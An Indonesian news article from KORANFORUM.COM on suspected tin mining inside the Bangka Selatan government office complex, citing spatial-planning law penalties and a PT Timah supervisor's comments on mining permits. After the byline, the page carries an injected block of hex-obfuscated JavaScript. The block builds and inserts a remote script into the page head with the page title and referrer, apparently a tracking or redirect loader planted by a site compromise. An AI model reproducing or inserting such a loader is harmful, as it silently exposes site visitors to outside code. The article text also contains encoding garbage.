TERJADI DI BASEL, KOMPLEK KAWASAN TERPADU PERKANTORAN PEMDA DITAMBANG

KORANFORUM.COM, BANGKA SELATAN — Salahsatu perbuatan kurang terpuji yang dilakukan oleh oknum manusia, diduga terjadi di Kabupaten Bangka Selatan (Basel), Provinsi Bangka Belitung (Babel).

Pasalnya, oknum ini diduga melakukan eksploitasi bahan tambang, yang diduga aktifitas eksploitasi bahan tambang itu, masuk dalam Kawasan Terpadu Komplek Perkantoran Pemkab Basel.

Hasil pantauan lapangan saat itu, Ai??tampak seperti Ai??biasanya para ASN maupun para tenaga kontrak di Lingkungan Pemkab Basel, melakukan perkerjaan di jam kerja di instansi, atau satuan kerja (satker) Ai??mereka masing-masing.

Namun situasi saat itu, ada hal yang agak lain dari pemandangan yang biasanya, yaitu sudah ada sekian hari dan bulan, adanya Alat Berat Excavator, di Lokasi Kawasan Terpadu Komplek Perkantoran Pemkab Basel tersebut.

Anehnya, Ai??alat berat itu bisa bergerak dan beroprasi dengan leluasa untuk mengali dan memindahkan tanah galian dari satu tempat ke tempat yang lain. Tentunya, hal ini membuat rasa penasaran bagi yang melihatnya, sehingga timbul pertanyaan apakah ini proyek pemerintah atau bukan?.

Jika mengacu pada Undang-Undang (UU) RI No. 26 Tahun 2007, tentang Penataan Ruang, yaitu dijelaskan juga pada BAB XI Pasal 70 Ayat 1, menyatakan bahwa, Ai??setiap orang yang memanfaatkan ruang tidak sesuai dengan ijin pemanfaatan ruang dari pejabat yang berwenang, sebagaimana dimkasud dalam Pasal 61 Huruf b, maka bisa dipidana dengan pidana penjara paling lama 3 (tiga) tahun, serta denda paling banyak Rp.500.000.000 (Limaratus juta Rupiah).

Selain itu, disebutkan pula di PasalAi??74 Ayat 1, berbunyi, dalam hal tindak pidana sebagaimana dimkasud dalam Ai??Pasal 69, Pasal 70, Pasal 71 dan Pasal 72, jika dilakukan oleh suatu korporasi, selain pidana penjara dan denda terhadap pengurusnya, juga pidana yang dapat dijatuhkan terhadap korporasi berupa pidana denda dengan pemberatan 3 (tiga) kali dari pidana denda, sebagaimana dimaksud dalam Pasal 69, Pasal 70, Pasal 71 dan Pasal 72.
dimana pada Ayat 2, berbunyai, selain pidana denda sebagaimana dimaksud pada Ayat 1, korporasi dapat dijatuhi pidana tambahan berupa :
a. PENCABUTAN IJIN USAHA, dan atau
b. PENCABUTAN STATUS BADAN HUKUM.

Saat wartawan media ini mencoba mengkonfirmasi fakta ini kepada masyarakat sekitar, yang kebetulan lewat di kawasan itu, Hari Rabu, Tanggal 7 Maret 2018 lalu, diungkapkan bahwa Aktifitas tambang yang diduga bahan tambang timah itu adalah milik seorang pengusaha di Toboali, yang diduga bernama “Akiun”.

Lalu, usai mendapat info dari warga yang kebetulan lewat di kawasan itu, Ai??namun tidak mau kalau namanya disebut, maka wartawan media ini melakukan konfirmasi terpisah, kepada Bagian CO Pengawas Lapangan dari Wasprod IV PT.TIMAH Toboali, bernama Edi, pada Hari Sabtu, Tanggal 10 Maret 2018 via Whatshaap (WA).

Dalam tulisan pesan WA itu, Edi menulis, “Tambang Beroperasi sejak Desember 2017 Pak ,SPK aktif s.d tgl 21 April 2018,
Masing -masing atas Nama Joni Diratama dan Irwan, Salah satunya akan kami stop sampai masa aktif tgl tersebut. Selanjutnya Yang Atas nama Irwan akan kami evaluasi setelah SPK ini berakhir , untuk Joni diratama distop mengingat cadangan sudah tidak prospek”.

Dijelaskannya juga, “setiap SPK yang kami keluarkan dapat kami pastikan bahwa tambang tersebut dalam IUP PT Timah dan dalam APL serta tidak masuk kawasan hutan produksi apalagi kawasan hutan lindung dan konservasi,”.

Lalu ditambahkannya lagi, “Lahan biasanya pasti diklaim pengajuan SPK oleh orang yang bersangkutan atau ada yang bagi hasil,sedangkan Pengajuan TSK diketahui oleh kades,”.

 

Ibrahim \x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *